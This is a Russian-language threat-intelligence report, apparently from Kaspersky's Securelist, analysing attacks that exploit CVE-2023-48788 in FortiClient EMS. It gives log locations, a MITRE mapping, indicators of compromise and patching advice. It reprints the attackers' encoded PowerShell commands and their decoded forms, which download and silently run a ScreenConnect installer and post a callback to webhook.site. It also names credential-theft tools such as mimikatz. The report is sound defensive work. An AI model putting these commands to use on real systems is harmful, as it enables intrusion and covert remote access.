Оглавление
Введение
Недавно глобальная команда экстренного реагирования на киберинциденты (GERT) «Лаборатории Касперского» выявила тактики, техники и процедуры, а также индикаторы, связанные с атакующими, использовавшими уязвимость в Fortinet (для которой уже было выпущено исправление) для проникновения в инфраструктуру предприятия.
Уязвимость связана с некорректной фильтрацией входных данных SQL-команды, что позволяет выполнить SQL-инъекцию. CVE-2023-48788 затрагивает версии FortiClient EMS с 7.0.1 по 7.0.10 и с 7.2.0 по 7.2.2. В случае успешной эксплуатации этой уязвимости злоумышленники могут выполнить произвольный код или команды, отправив специально сформированные пакеты данных.
В ходе исследуемой атаки пострадал сервер Windows с выходом в интернет и лишь двумя открытыми портами. Пострадавшая компания использует FortiClient EMS, чтобы сотрудники могли загружать необходимые политики на корпоративные устройства и пользоваться безопасным доступом к Fortinet VPN.
Идентификация и сдерживание угрозы
В октябре 2024 года мы обнаружили оповещения телеметрии нашей технологии MDR, которые указывали на попытки получения доступа к ветвям реестра с внутреннего IP-адреса с помощью учетной записи администратора на сервере Windows клиента. IP-адрес, с которого поступали запросы, был частью инфраструктуры компании, но, согласно оценке самого клиента, не находился под защитой решения MDR. Также были обнаружены попытки доступа к административным общим ресурсам, в том числе следующим:
\192.168.X.XC$Users;
\192.168.X.XC$;
\192.168.X.XIPC$srvsvc;
\192.168.X.XIPC$svcctl;
\192.168.X.X IPC$winreg;
\192.168.X.X ADMIN$SYSTEM32WqgLtykM.tmp;
\192.168.X.X C$WindowsSystem32MicrosoftProtectDPAPI Master Keys;
\192.168.X.X C$WindowsSystem32MicrosoftProtectUser Keys;
\192.168.X.X C$WindowsSystem32MicrosoftProtectProtected Credentials.
На скомпрометированном компьютере с этим IP-адресом были зафиксированы попытки создания дампов веток реестра HKLMSAM и HKLMSECURITY через службу удаленного реестра.
C:Windowssystem32svchost.exe -k localService -p -s RemoteRegistry
Собранные данные подтверждают, что злоумышленники совершили несколько неудачных попыток входа в систему с одного и того же внутреннего IP-адреса на разных хостах с использованием учетной записи администратора, что зафиксировало решение Kaspersky MDR.
Анализ и начальный вектор
Данные с исходного сервера, указывающие на упомянутые удаленные действия, позволили нам подтвердить, что сервер доступен из интернета и имеет два открытых порта, связанных с FortiClient EMS. Артефакты файловой системы указывали на использование инструментов удаленного мониторинга и управления (RMM), таких как ScreenConnect и AnyDesk. Мы подтвердили, что установленная версия FortiClient EMS, а именно 7.01, была уязвима к CVE-2023-48788, поэтому нам потребовалось собрать дополнительные доказательства из системных журналов и проанализировать их на наличие следов эксплуатации. Ниже приведены некоторые ключевые пути, по которым можно найти эти журналы:
Журнал FortiClient— C:Program FilesFortinetFortiClientEMSlogs*
Связанные файлы:
ems.log — основной журнал FortiClient EMS. Он может указывать на необычное поведение, ошибки в базе данных, несанкционированный доступ или попытки выполнения инъекции.
sql_trace.log или аналогичные журналы — если этот файл существует, он может содержать подробную информацию о выполненных SQL-запросах. Если в нем найдены неожиданные или неправильные запросы, они могут указывать на попытку выполнения SQL-инъекции.
MS SQL— C:Program FilesMicrosoft SQL ServerMSSQL14.FCEMSMSSQLLog*
Эти журналы связаны с сервером MS SQL, который используется в FortiClient EMS.
Мы нашли подтверждение выполненной злоумышленниками SQL-инъекции в одном из файлов ERRORLOG по второму пути, C:Program FilesMicrosoft SQL ServerMSSQL14.FCEMSMSSQLLogERRORLOG.X:
Изучив телеметрию «Лаборатории Касперского», связанную с этим вердиктом, мы идентифицировали команды, выполнявшиеся злоумышленниками. Они использовали набор инструкций в закодированном при помощи base64 URL-адресе, которые совпали с действиями, обнаруженными в исследуемой системе.
Filename c:program filesmicrosoft sql
servermssql14.fcemsmssqlbinnsqlservr.exe
[19:40:10.147][2472][3268]PDMCreateProcess(«$system32cmd.exe»,»»$system32cmd
.exe» /c POWERSHELL.EXE -COMMAND «»ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE
/C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE(«»»%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%7
0%64%61%74%65%2E%65%78%65%20%22%68%74%74%70%73%3A%2F%2F%69%6E%66%69%6E%69%74%7
9%2E%73%63%72%65%65%6E%63%6F%6E%6E%65%63%74%2E%63%6F%6D%2F%42%69%6E%2F%53%63%7
2%65%65%6E%43%6F%6E%6E%65%63%74%2E%43%6C%69%65%6E%74%53%65%74%75%70%2E%65%78%6
5%3F%65%3D%41%63%63%65%73%73%26%79%3D%47%75%65%73%74%22%20%26%20%73%74%61%72%7
4%20%2F%42%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65″»»))»»»
Декодированный код выглядит следующим образом:
curl -o C:update.exe
«https://infinity.screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Acce
ss&y=Guest» & start /B C:update.exe
Злоумышленники использовали команду
curl (также в аналогичных целях они использовали утилиту Windows certutil) для загрузки установщика приложения удаленного доступа ScreenConnect. Установщик сохраняется как update.exe в корне диска C: и затем запускается в фоновом режиме. Судя по параметру y=Guest в URL-запросе, злоумышленники использовали пробную лицензию ScreenConnect.
Мы выяснили, что после установки злоумышленники начали загружать дополнительные полезные нагрузки в скомпрометированную систему и выполнять действия по обнаружению и горизонтальному перемещению, включая перечисление сетевых ресурсов, попытки получить учетные данные, реализацию методов обхода защиты и дополнительное закрепление в системе с помощью инструмента удаленного управления AnyDesk. Обнаруженные полезные нагрузки представлены в таблице ниже:
Перечисление сетевых ресурсов:
netscan.exe
net
net/dat.txt
net/libsmb2.dll
net/libsmi2.dll
net/netscan.exe
net/netscanold.xml
net/unins000.dat
net/unins000.exe
Кража учетных данных.
webbrowserpassview.exe — инструмент для восстановления паролей, который извлекает пароли из следующих браузеров: Internet Explorer (версии 4.0–11.0), Mozilla Firefox (все версии), Google Chrome, Safari и Opera.
netpass64.exe — инструмент для восстановления паролей.
mimikatz.exe
Обход защиты.
Для обхода защиты злоумышленники применили инструмент HRSword.exe (Huorong Internet Security).
Удаленное управление.
AnyDesk — инструмент для удаленного доступа к устройствам и управления ими.
Подтвердив факт эксплуатации, мы собрали дополнительные доказательства: анализ журналов AnyDesk помог нам найти IP-адрес, связанный с атакой:
Согласно данным аналитических ресурсов, этот IP-адрес принадлежит российскому региону и входит в состав инфраструктуры, связанной с вредоносной кампанией, использующей Cobalt Strike.
Анализ телеметрии для аналогичных угроз
По данным нашей телеметрии, злоумышленники нацеливались на разные компании и регулярно меняли поддомены ScreenConnect, скорее всего, независимо от конкретной цели:
Помимо этого, мы обнаружили попытки загрузки и выполнения различных полезных нагрузок с других неклассифицированных внешних ресурсов, которые использовались в аналогичных инцидентах. Исходя из этого, можно предположить, что другие злоумышленники эксплуатируют ту же уязвимость, но с отличающейся полезной нагрузкой второго этапа.
Что касается регионов и стран, в которых наблюдались попытки эксплуатации этой уязвимости с другими полезными нагрузками, мы можем уверенно сказать, что угроза не нацелена на конкретные регионы, хотя атаки немного чаще происходят в Южной Америке (5 из 15 случаев).
Страны, в которых были замечены атаки с дополнительными полезными нагрузками, апрель–ноябрь 2024 г. (скачать)
Новые методы эксплуатации уязвимости — схожие инциденты
Исследуя эту угрозу, 23 октября 2024 года мы в GERT обнаружили признаки активной эксплуатации уязвимости CVE-2023-48788, в рамках которой злоумышленники пытались выполнить аналогичную команду. На этот раз вредоносная активность была связана с использованием бесплатного сервиса на домене webhook.site:
«C:Windowssystem32cmd.exe» /c POWERSHELL.EXE -COMMAND «»ADD-
TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE(«»»%70%6f%77%65%72%73%68%65%6
c%6c%20%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74%70%73%3a%2
f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%32%37%38%66%58%58%58%5
8%2d%63%61%33%62%2d[REDACTED]%2d%39%36%65%34%2d%58%58%58%58%34%35%
61%61%36%38%30%39%20%2d%4d%65%74%68%6f%64%20%50%6f%73%74%20%2d%42%
6f%64%79%20%27%74%65%73%74%27%20%3e%20%24%6e%75%6c%6c%22″»»))»»
После декодирования мы обнаружили цепочку команд, завершающуюся командой PS1:
cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c «iwr -Uri
hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body
‘test’ > $null»
Согласно информации с портала webhook.site, этот сервис «бесплатно генерирует уникальные URL-адреса и адреса электронной почты, позволяя мгновенно видеть все, что туда отправляется». Уникальность обеспечивается сгенерированным токеном, который добавляется в URL, адрес электронной почты или имя DNS-записи. Пользователи могут бесплатно использовать основные возможности или оплатить дополнительные функции и услуги.
Мы проверили системы, которые затронула уязвимость в FortiClient EMS, и подтвердили, что злоумышленники организовали через сервис webhook.site сбор ответов от уязвимых целей. Зная конкретный токен webhook.site, которым пользовались злоумышленники, мы за 5 часов 23 октября смогли идентифицировать 25 запросов к сервису. 22 из них поступили с разных IP-адресов уязвимых целей, расположенных в 18 странах, а еще три запроса — из одного источника, выделенного красным на схеме ниже.
Страны, на которые была нацелена дополнительная вредоносная активность 23 октября 2024 г. (скачать)
Три запроса поступили с одного и того же IP-адреса 135.XXX.XX.47, размещенного на серверах Hetzner Online GmbH в Германии. Этот IP-адрес имеет плохую репутацию и был связан с активностью инфостилеров в октябре и ноябре прошлого года, однако мы не можем сказать, был ли он скомпрометирован злоумышленниками в инциденте или является частью их инфраструктуры. Этот хост имеет открытые порты 80 и 7777, с HTTP-службой на порту 80 и SSL-службой на порту 7777.
На порту 80 размещен веб-интерфейс PRTG Network Monitor 24.1.92.1554 x64 с конфигурацией по умолчанию и пробной лицензией PRTG Freeware, срок действия которой истек 24 октября 2020 года.
Общее имя SSL-сертификата на порту 7777 — WIN-LIVFRVQFMKO. Анализ потока данных об угрозах показал, что этот хост часто используется различными группами злоумышленников, включая шифровальщиков Conti и LockBit. Но нельзя исключать, что это может быть шаблонное имя хоста по умолчанию для ОС Windows, используемое хостинг-провайдером Hetzner.
С учетом многочисленных успешных попыток доступа к сайту webhook.site и нескольких подозрительных запросов, обнаруженных в содержимом HTTP POST, мы предполагаем, что этот хост может быть устаревшим экземпляром PRTG, который скомпрометировали и взяли под контроль злоумышленники, а затем использовали для тестирования сервиса webhook.site.
Тактики, техники и процедуры
Ниже приведены тактики, техники и процедуры, выявленные на основе нашего анализа и обнаружений вредоносного ПО.
Тактика
Метод
ID
Подробности
Первоначальный доступ
Эксплуатация общедоступного приложения
T1190
Эксплуатация FortiClient EMS для первоначального доступа.
Обход защиты, закрепление и повышение привилегий
Существующие учетные записи: доменные учетные записи
T1078.002
Использование учетных записей с правами администратора для удаленного доступа, горизонтального перемещения и запуска приложений.
Обход защиты
Ослабление защиты: отключение или модификация инструментов
T1562.001
Во время сеансов удаленного доступа злоумышленники изменяли настройки различных средств безопасности.
Выполнение
Интерпретатор команд и сценариев: PowerShell
T1059.001
PowerShell использовался для выполнения команд загрузки и установки ConnectWise.
Горизонтальное перемещение
Удаленные службы
T1021
Горизонтальное перемещение через RDP.
Управление и контроль
Передача инструментов из внешней сети
T1105
Передача файлов злоумышленником в инфраструктуру с использованием легитимных приложений.
Горизонтальное перемещение
Распространение инструментов в скомпрометированной среде
T1570
Перенос приложений на другие системы инфраструктуры через легитимные сетевые сервисы и скомпрометированные учетные записи.
Доступ к учетным данным
Учетные данные из хранилищ паролей
T1555
Использование Mimikatz для извлечения учетных данных из локального хранилища.
Заключение
Анализ инцидента показал, что злоумышленники постоянно совершенствуют и усложняют методы развертывания инструментов удаленного доступа. На момент исследования уязвимость CVE-2023-48788 уже была исправлена, однако, вероятно, ею воспользовались разные группы злоумышленников, поставив под угрозу пользователей во множестве регионов. Это напоминает о важности своевременного обновления технологий, доступных через интернет, так как устаревшие версии могут стать начальным вектором атаки. Для FortiClient EMS рекомендуется обновление до версий 7.0.11–7.0.13 или 7.2.3 и выше. Внедрение уведомлений и установка исправлений для всех приложений с прямым или косвенным доступом из интернета — очень важная составляющая процесса регулярных обновлений.
Мы также настоятельно рекомендуем использовать MDR-решения, которые обеспечивают непрерывный мониторинг инфраструктуры и позволяют обнаружить угрозу прежде, чем цели злоумышленников будут достигнуты. Стоит отметить, что наличие MDR на компьютерах, соседствующих с начальным вектором атаки, помогло вовремя обнаружить ее развитие на раннем этапе, минимизировав ущерб для инфраструктуры жертвы. А проведенное расследование инцидента в рамках сервиса реагирования позволило выявить начальный вектор и выработать рекомендации по предотвращению подобных атак в будущем.
Индикаторы компрометации
Имена приложений и файлов из инцидента
C:update.exe
HRSword.exe
Mimik!!!.exe
br.exe
donpapi.exe
netpass64.exe
webbrowserpassview.exe
netscan.exe
connectwise / ScreenConnect
AnyDesk
Хэши SHA1 из инцидента
8cfd968741a7c8ec2dcbe0f5333674025e6be1dc
441a52f0112da187244eeec5b24a79f40cc17d47
746710470586076bb0757e0b3875de9c90202be2
bc29888042d03fe0ffb57fc116585e992a4fdb9b
73f8e5c17b49b9f2703fed59cc2be77239e904f7
841fff3a36d82c14b044da26967eb2a8f61175a8
34162aaf41c08f0de2f888728b7f4dc2a43b50ec
cf1ca6c7f818e72454c923fea7824a8f6930cb08
e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69
59e1322440b4601d614277fe9092902b6ca471c2
75ebd5bab5e2707d4533579a34d983b65af5ec7f
83cff3719c7799a3e27a567042e861106f33bb19
44b83dd83d189f19e54700a288035be8aa7c8672
8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8
Домены и IP-адреса из инцидента
45.141.84[.]45
infinity.screenconnect[.]com
kle.screenconnect[.]com
trembly.screenconnect[.]com
corsmich.screenconnect[.]com
Домены и IP-адреса дополнительных полезных нагрузок
185.216.70.170:1337
hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw
HXXP://148.251.53.222:14443/SETUP.MSI
hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8
hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4
HXXP://185.216.70.170/OO.BAT
HXXP://185.216.70.170/HELLO
HXXP://185.216.70.170/A
hxxp://185.216.70.170
hxxp://185.216.70.170/oo.bat
hxxp://185.216.70.170/hello
hxxp://185.216.70.170/sos.txt
hxxp://185.216.70.170/72.bat
hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w
qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun
hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%gfLQPbNLYYYh.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%FaLNkAQGOe.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%QgCNsJRB.exe
hxxps://www.lidahtoto2.com/assets/im.ps1
hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%EdgouRkWzLsK.exe
Securelist